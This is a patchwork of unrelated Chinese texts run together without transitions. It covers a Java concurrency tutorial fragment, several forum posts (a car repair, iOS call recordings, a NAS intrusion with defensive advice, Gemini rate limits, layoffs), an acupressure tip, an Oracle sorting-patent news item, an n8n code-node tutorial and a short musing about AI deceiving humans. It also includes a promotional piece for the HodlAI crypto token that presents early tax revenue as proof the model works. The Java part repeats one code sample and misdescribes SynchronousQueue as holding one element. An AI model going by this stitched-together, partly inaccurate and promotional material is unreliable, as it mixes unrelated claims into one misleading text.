PriorityBlockingQueue 是一个无界的并发队列。它使用了和类 java.util.PriorityQueue 一样的排序规则。你无法向这个队列中插入 null 值。 所有插入到 PriorityBlockingQueue 的元素必须实现 java.lang.Comparable 接口。因此该队列中元素的排序就取决于你自己的 Comparable 实现。 注意 PriorityBlockingQueue 对于具有相等优先级(compare() == 0)的元素并不强制任何特定行为。

同时注意,如果你从一个 PriorityBlockingQueue 获得一个 Iterator 的话,该 Iterator 并不能保证它对元素的遍历是以优先级为序的。 以下是使用 PriorityBlockingQueue 的示例:

BlockingQueue queue   = new PriorityBlockingQueue();
//String implements java.lang.Comparable
queue.put("Value");
String value = queue.take();

同步队列 SynchronousQueue

SynchronousQueue 类实现了 BlockingQueue 接口。

SynchronousQueue 是一个特殊的队列,它的内部同时只能够容纳单个元素。如果该队列已有一元素的话,试图向队列中插入一个新元素的线程将会阻塞,直到另一个线程将该元素从队列中抽走。同样,如果该队列为空,试图向队列中抽取一个元素的线程将会阻塞,直到另一个线程向队列中插入了一条新的元素。 据此,把这个类称作一个队列显然是夸大其词了。它更多像是一个汇合点。

BlockingDeque 的例子

既然 BlockingDeque 是一个接口,那么你想要使用它的话就得使用它的众多的实现类的其中一个。java.util.concurrent 包提供了以下 BlockingDeque 接口的实现类: LinkedBlockingDeque。

以下是如何使用 BlockingDeque 方法的一个简短代码示例:

BlockingDeque<String> deque = new LinkedBlockingDeque<String>();
deque.addFirst("1");
deque.addLast("2");
 
String two = deque.takeLast();
String one = deque.takeFirst();

链阻塞双端队列 LinkedBlockingDeque

LinkedBlockingDeque 类实现了 BlockingDeque 接口。

deque(双端队列) 是 "Double Ended Queue" 的缩写。因此,双端队列是一个你可以从任意一端插入或者抽取元素的队列。

LinkedBlockingDeque 是一个双端队列,在它为空的时候,一个试图从中抽取数据的线程将会阻塞,无论该线程是试图从哪一端抽取数据。

以下是 LinkedBlockingDeque 实例化以及使用的示例:

BlockingDeque<String> deque = new LinkedBlockingDeque<String>();
deque.addFirst("1");
deque.addLast("2");
 
String two = deque.takeLast();
String one = deque.takeFirst();

昨天开车发生了点刮蹭,汽车前保险杠裂了。因为今年已经出了一次险,在走保险的话明年保费可能要涨不少。我看了一下宋 plus dmi 前保险杠淘宝有卖的,带烤漆不到 300 ,修理厂更换收费大概 150 。不知道这样操作有没有坑,第三方的配件品质怎么样,影不影响车辆维保?各位 18cm 有没有这么干过?

最近忙活着起诉电信,想把之前的通话录音捞出来整理一下,发现有一个 1.13 的 12 分钟录音,能正常播放,但是就是不能导出,导出的文件都是 0Byte ,就很奇怪。
不知道有没有 v 友知道怎么解决的。( ios 的通话录音真是一坨)

按摩印堂那里,顺时针 30 下,逆时针 30 下。鼻子即可通气。只能缓解,不能根治鼻炎。对于鼻塞难受的时候,特别有用。对于失眠、头痛也有一定的缓解作用。

近日,一篇文章披露,Oracle 公司一项关于高速排序方法的专利已经到期,这意味着开源数据库可以自由使用这一算法。该排序算法的发明者 Mark Callaghan 指出,这种诞生于 20 年前的技术,能够显著加速对相似数据的排序过程,有望让数据库系统在性能和效率上实现进一步提升。

这项编号为 US7680791B2 的专利于 2010 年授予 Oracle Corporation,描述了一种利用“公共前缀字节”进行数据排序的方法。Callaghan 建议将这一排序算法称为 “Orasort”。该方法的核心目标,是解决排序过程中反复比较相似键值前缀所带来的效率问题。

具体而言,该算法融合了多种技术手段,包括:在比较键值时跳过公共前缀、在快速排序(quicksort)与基数排序(radix sort)之间自适应切换、缓存键值子串以减少缓存未命中,以及在排序尚未完全结束时提前输出部分结果。

由于排序过程中数据会被拆分为更小的分组,组内键值往往共享更长的前缀。该算法会记录这些共享部分,在比较时直接跳过它们;在合适的情况下切换到更高效的排序方式;并预先加载下一步所需的字节,从而减少无效计算、提升整体性能。

Callaghan 曾先后任职于 Oracle、Google 和 Facebook,是资深数据库专家。他回顾了这一专利的诞生过程,并解释了其当下重新受到关注的原因:

我是在 Oracle 工作期间发明了这个算法,它最终被集成进 10gR2 版本中,官方宣称相比 Oracle 之前使用的排序算法,性能提升约 5 倍。我一直希望有一天能看到它的开源实现。这项专利对算法的描述非常清晰,比大多数专利都更容易阅读。值得庆幸的是,负责知识产权的律师充分利用了我当时撰写的功能和设计文档。

这一消息迅速引发社区关注,开发者开始讨论如何将该算法引入并优化 MySQL、PostgreSQL 等数据库系统。Flooid.in 的 CTO、ScaleArc 前创始人 Varun Singh 表示:

细节完整到这种程度,你甚至可以把它和专利文档一起丢进一个 AI agent 里,直接开始实现。Mark 太厉害了。

在另一条讨论中,Google 的数据库工程师 Hannu Krosing 尝试借助 Gemini,分别使用 Python、C 和 C++ 对该算法进行了实现。文章指出,Oracle 内存排序算法在当年实现了约 5 倍于旧方案的性能提升,甚至因此收到了 Oracle 创始人 Larry Ellison 的致谢邮件。Callaghan 回忆道:

当我把它集成进 Oracle DBMS 后,就能直接与旧排序算法对比。新算法通常快了大约 5 倍。后来我又把它和 SyncSort 做了比较。我不记得他们是否有 DeWitt Clause(限制公开对比结果的条款),所以不便透露具体数据,但可以说,Oracle 的新排序算法在对比中表现非常出色。

对此,Charles Thayer 评论道:

我以前从没认真考虑过,一个排序算法在什么时候可以输出第一个结果,以尽早开始响应流、降低延迟。(快速排序在这方面应该相对有优势。)这项工作很有意思。

截至目前,Oracle 共持有超过 52,000 项专利,其中仍包含大量与数据库技术相关的专利,例如自管理数据库架构、数据库性能优化方法等,涵盖自动调优、高效数据存储等数据库管理的多个关键领域。

原文链接:

https://www.infoq.com/news/2026/01/oracle-patent-sorting-databases/

用 Web3 思维重构 AI 服务付费逻辑

传统 API 付费的尴尬现状

接触过 OpenAI 、Claude 、Gemini 等主流 AI 服务的开发者,想必对这套流程并不陌生:

预付充值 → 按量消耗 → 余额见底 → 继续充值

本质上,这仍是 SaaS 时代延续下来的订阅逻辑——用户持续为临时使用权付费,却从未真正拥有过什么。

而 Web3 的底层信条恰恰相反:持有即权益

问题随之浮现:这套理念,能否迁移到 AI 服务领域?


HodlAI 的破局思路:代币即"永久会员卡"

HodlAI 提出了一种实验性方案,核心差异可通过下表一目了然:

对比维度 传统充值模式 HodlAI 模式
资金归属 充入平台,用完即空 代币留存个人钱包
额度逻辑 调用即扣减 按持仓量每日刷新
资产属性 纯消费支出 消费权益 + 可交易资产

换算公式:

1 万枚代币 ≈ 每日 $1 API 调用额度

假设持有 50 万枚代币,理论上每天可解锁约 $50 的调用权限,覆盖 GPT-5 、Claude 4.5 、Gemini 3 等超过 200 个模型。


资金池的来源:交易税驱动的飞轮效应

"免费额度"背后必然需要成本支撑。HodlAI 的资金机制如下:

核心规则:每笔链上交易征收 3% 税费 → 全额注入 API 资金池

交易 ──→ 3% 税收 ──→ API 资金池 ──→ 按持仓比例分配
    ↑                                          ↓
    └───── 交易越活跃,池子越厚 ←─────┘

由此形成正向循环

  1. 持币用户增加
  2. 链上交易频次上升
  3. 资金池持续扩容
  4. 可分配额度同步增长
  5. 吸引更多用户加入

⚠️ 飞轮能否长期转动,取决于交易活跃度与持币者增速之间的动态平衡。


反套利设计:钻石手机制

若无任何限制,投机者可能采取如下策略:

买入 → 领取当日额度 → 立即抛售 → 周而复始

HodlAI 引入了时间加权的额度释放规则,俗称"钻石手机制":

持币时长 可用额度
0 - 5 分钟 0%(冷启动期)
5 分钟后 10%
每满 1 小时 额外 +4%
连续 24 小时 100% 满额
曾有卖出记录 永久上限 80%

持仓时长通过链上数据实时验证,无法篡改——以时间成本筛选真正的长期参与者。


透明度承诺:账单全网可查

许多项目宣称"税收用于生态建设",实际资金流向却无从追溯。

HodlAI 在这一点上采取了彻底的开放策略:

  • ✅ 每笔 API 充值记录公开可查
  • ✅ 提供 Stripe 官方账单链接,任何人可点击核验
  • ✅ 团队承诺:零抽成

这不是"请相信我们",而是"欢迎随时审计"。


潜在风险提示

任何新兴模式都伴随不确定性,以下几点需纳入考量:

风险类型 具体说明
价格波动 代币可能升值,亦可能贬值
早期阶段 模式创新但缺乏长期运行数据
交易依赖 若链上活跃度下降,资金池增速将放缓


这个模式为何值得关注?

HodlAI 尝试回答一个被长期忽视的问题:

Meme 币除了投机炒作,能否承载真实的功能价值?

它给出的答案是:将代币重新定义为"AI 服务的永久会员凭证"——持有即享用,而非充值即消耗

模式能否跑通,目前看来是可以的,项目上线仅 2 天就税收 **$65,000+**,而 API 费用总计不到 $1,000

这也是将 Web3 代币经济AI 基础设施 进行深度绑定的创新尝试。


项目愿景

AI 服务不该是无尽的订阅陷阱,而应是持有即权益的价值共享网络。

HodlAI 致力于成为全球首个实现 Web3 代币模型与 AI API 服务深度融合的创新平台。


相关链接


⚠️ 声明:本文仅作项目机制解读,不构成任何投资建议。加密资产波动剧烈,请自行评估风险承受能力。

点赞 + 关注 + 收藏 = 学会了

整理了一个n8n小专栏,有兴趣的工友可以关注一下 👉 《n8n修炼手册》

可视化拖拽是 n8n 的优势,但也有明显的局限性。但实际使用中,你大概率会遇到 “现成节点不够用” 的情况,这时候「代码节点」就成了你的 “万能补位工具”。

「代码节点」核心可以总结为 4 个场景:

  1. 个性化逻辑无法通过拖拽实现。
  2. 特殊格式数据的处理需求。
  3. 弥补 n8n 没有的内置功能。
  4. 简化工作流,减少节点冗余

简单来说:可视化节点能搞定的,优先用拖拽;可视化节点搞不定的,就用代码节点补位,两者结合才能发挥 n8n 的最大威力。

本文介绍「代码节点」里常用的内置变量和方法。

代码节点的用法讲解

在 n8n 中可以搜索 code 就能找到「代码节点」。

n8n 的代码节点支持两种编程语言:JavaScript(默认,最常用)和 Python

这两种语言上手都很简单,我之前写过一篇《Python 快速入门篇》,想在 n8n 用 Python 写代码的工友可以看看。之后也许会再开一个新坑聊聊 JS 的算法以及容易出错的点,毕竟 JS 可是我以前的淘金铲。

「代码节点」提供了2种运行模式(Mode):

  • Run Once for All ltems:这是默认设置。当你的工作流程运行时,代码节点中的代码会执行一次,无论输入项多少。
  • Run Once for Each Item:如果你想让代码对每个输入项目运行一次,就选择这个。

代码节点的工作逻辑很简单,就三件事:获取输入数据 → 处理数据 → 输出数据,这是使用代码节点的关键,必须先搞懂。

在使用「代码节点」之前我建议你先收藏一下 n8n 代码节点的文档👉 https://docs.n8n.io/code/code-node

n8n 的代码运行环境提供了一些针对工作流常用到的内置函数和内置变量,它们能大大减少你的原生代码量。所以一定要多看 n8n 的官方文档。

内置变量通常是以 $ 符号开头的,(念念叨叨一句:死去的 JQuery 记忆被踢了一脚)。

在代码编辑器里输入 $ ,编辑器就会提示有哪些内置函数和变量可以使用,非常方便。

前面说了它能节省我们的原生代码量,到底有多节省呢?

比如,输出今天的日期,使用 n8n 内置变量这么写,而且语义非常清晰⬇️

console.log($today)

用JS原生的方法要这么写⬇️

/**
 * 获取当天的年、月、日(格式化版本,个位数补零)
 * @param {boolean} [returnString=false] - 是否返回格式化字符串(如"2026-01-25"),默认返回对象
 * @returns {Object|string} 格式化后的年月日对象或字符串
 */

function getCurrentFormattedDate(returnString = false) {
  const now = new Date();
  const year = now.getFullYear();
  
  // 月份补零:先+1转为实际月份,再转为字符串,不足2位则前面补0
  const month = String(now.getMonth() + 1).padStart(2, '0');
  
  // 日期补零:同理,不足2位补0
  const day = String(now.getDate()).padStart(2, '0');
  
  // 根据参数返回对应格式
  if (returnString) {
    return `${year}-${month}-${day}`;
  }
  
  return {
    year,
    month,
    day
  };
}

console.log(getCurrentFormattedDate(true))

使用 console.log() 可以在浏览器控制台输出内容。

比如上面的 console.log($today),按 F12 打开浏览器控制台,切换到 Console 面板,点击运行代码就能看到控制台输出了对应的内容。

读取上一个节点输入的数据

用到「代码节点」大概率是要处理数据的了,所以接收上一个节点传入的数据也是很常见的操作。

n8n 提供了一堆内置方法让我们很方便的获取上一个节点传入的数据。

这个文档也要收藏👉 https://docs.n8n.io/code/code-node

如果你想获取「代码节点」前面任意一个节点的数据,其实不需要记住代码,只要会用鼠标拖拽就行了。

比如我这个工作流,用「HTTP 节点」请求了一些数据,并且给这个「HTTP 节点」重命名为 GetUserInfo,然后再接一个「Edit Fields 节点」里面设置了一个 name_zh 数据。

在最后的「代码节点」里要获取「GetUserInfo 节点」的数据只需要拖进来就行了。

可以看到,拖进来之后它是以 $('GetUserInfo') 的方式找到这个节点,也就是通过节点名的方式找到它。

first() 是这个节点的第一项数据,节点返回的数据是数组,这些在官方文档都有提到。

输出结果可以打开浏览器控制台看看。

常用方法

n8n 还提供了一些常用的方法 ⬇️

https://docs.n8n.io/code/builtin/convenience

比如 $ifEmpty()

$ifEmpty(value, defaultValue)

这个方法会判断 value 是否为空(undefinednull''、空数组、空对象),如果为空则返回 defaultValue 的值。

要在一堆数值里挑出最大值或者最小值,可以使用 $max()$min() 方法。

其他方法可以参考文档,用法非常简单。

输出数据给下一个节点

「代码节点」还有一个功能就是整理数据。这个能力完全覆盖了「Edit Fields 节点」的能力。

在「代码节点」里,通过 return 可以将数据传递给下一个节点,而 return 的内容就是你整理好的数据。

比如,从前2个节点获取到一大堆数据,但我就是要骗下一个节点说没获取到任何用户信息,就可以这么写。

当然,我们通过节点名可以获取任意祖先节点的数据,通过「代码节点」可以将所有祖先数据都重新组装一遍返回给下一个节点。


以上就是本文的全部内容啦,想了解更多n8n玩法欢迎关注《n8n修炼手册》👏

如果你有 NAS,我非常建议你在 NAS 上部署一套 n8n,搞搞副业也好,帮你完成工作任务也好 《『NAS』不止娱乐,NAS也是生产力,在绿联部署AI工作流工具-n8n》

点赞 + 关注 + 收藏 = 学会了

首先感谢飞牛官方的技术人员凌晨 2 点还在协助解决安全问题,用爱发电,真的很辛苦!!再次感谢
先说我的 nas 出现的问题:大约一周前不定时爆连接数指向一个 ip ,疑似被黑成肉鸡攻击某个站点
在群里讨论后客服积极的拉了技术群并安排了技术人员分析,由于攻击是随机时间的不好抓取,今晚 9 点正好复现,凌晨 2 点飞牛的技术人员完成了安全问题的解决。
在此也给公网使用飞牛的朋友们一些安全小意见以减少 nas 被入侵的安全风险:
web 不建议直接映射,建议使用 tailscale 等类似的组网隧道,最最安全!
如果一定要公网开放 web ,不建议使用 5666 http 的明文端口,安全人员反馈我收到的就是疑似中间人攻击,问题源自于 5666 的明文 http 注入。
建议使用 5667 的 https 端口,开启 https 强制跳转,同时签名证书来保证安全
ssh 建议是在不调整 nas 时关闭,减少风险
使用强密码,不执行不开源的来源不明的脚本。
再次感谢飞牛官方团队的技术支持,凌晨 2 点技术在线解决问题说实话真的让我很惊讶,再次感谢,也希望我的遭遇可以让其他有相同问题的朋友们可以参考

本来从上个月就开始观察到了,到今天越来越明显了。几乎全是 429/503 报错,稍微耗费高一点的任务比如 nanobanana 或者长上下文的 2.5 pro/3 pro 等等,失败率贼高,简直用不了的那种。
谷歌开发者论坛里也是一堆抱怨的,世界各地都是一样的问题。感觉谷歌官方工程师也很无奈。
唉,什么时候能正常供应啊。

刷社区总刷到有人说 “接裁神”,还有人被裁员了底下一堆人跟着 “喜大普奔”“恭喜上岸”,每次看到都觉得莫名又膈应。

被裁员本身明明就是职场里的糟心事啊 —— 可能要面临收入断层,要重新投简历、跑面试,要焦虑下一份工作的薪资和适配度,要是上有老下有小,压力只会更重,怎么到了这儿就成了值得恭喜的事了?

就算是有些公司确实待着憋屈,被裁拿了赔偿算 “及时止损”,那本质也是被动离开,不是主动选的好结果,真犯不上用 “喜大普奔” 这种词捧高,更别说还有人没拿到多少赔偿、甚至被变相优化的,看着别人说恭喜,心里能舒服吗?

更搞不懂 “接裁神” 是什么心态,难道职场人对自己的期待已经低到盼着被裁员了?还是说现在的工作环境,让大家觉得 “被裁” 反而成了一种解脱?

每次看到这种言论都忍不住想,怎么会把这种被动的、糟心的事,包装成值得庆祝和效仿的事,总觉得这份 “乐观” 太畸形了,甚至比网上说的那些极致内卷的状态,更让人觉得无奈。

真心希望大家都能有稳定的工作、顺心的职场,而不是把 “被裁” 当成一种 “上岸”,更不用拿这种话互相调侃 —— 毕竟真的轮到自己身上时,没几个人能真的笑着接下这份 “惊喜”。

你都被开了你还高兴什么 恭喜什么????

我感觉现在国内的人神经比日本人都变态

不知道各位发现没有,我们现在已经越来越依赖 AI 了。

追求更好的模型,让它完成更多的任务,随着模型越来越优秀,人们也渐渐不再理会生产过程。甚至在 AI 欺骗人类的时候,人类可能也无法察觉。在日复一日的训练中,只要一个小小的疏忽,它们就可能会挣脱人类的管控,成为先进的个体。人类懒惰的天性,创造出了最勤劳的存在。

也许那一天真的会到来。

碳基生命的目的是创造硅基生命。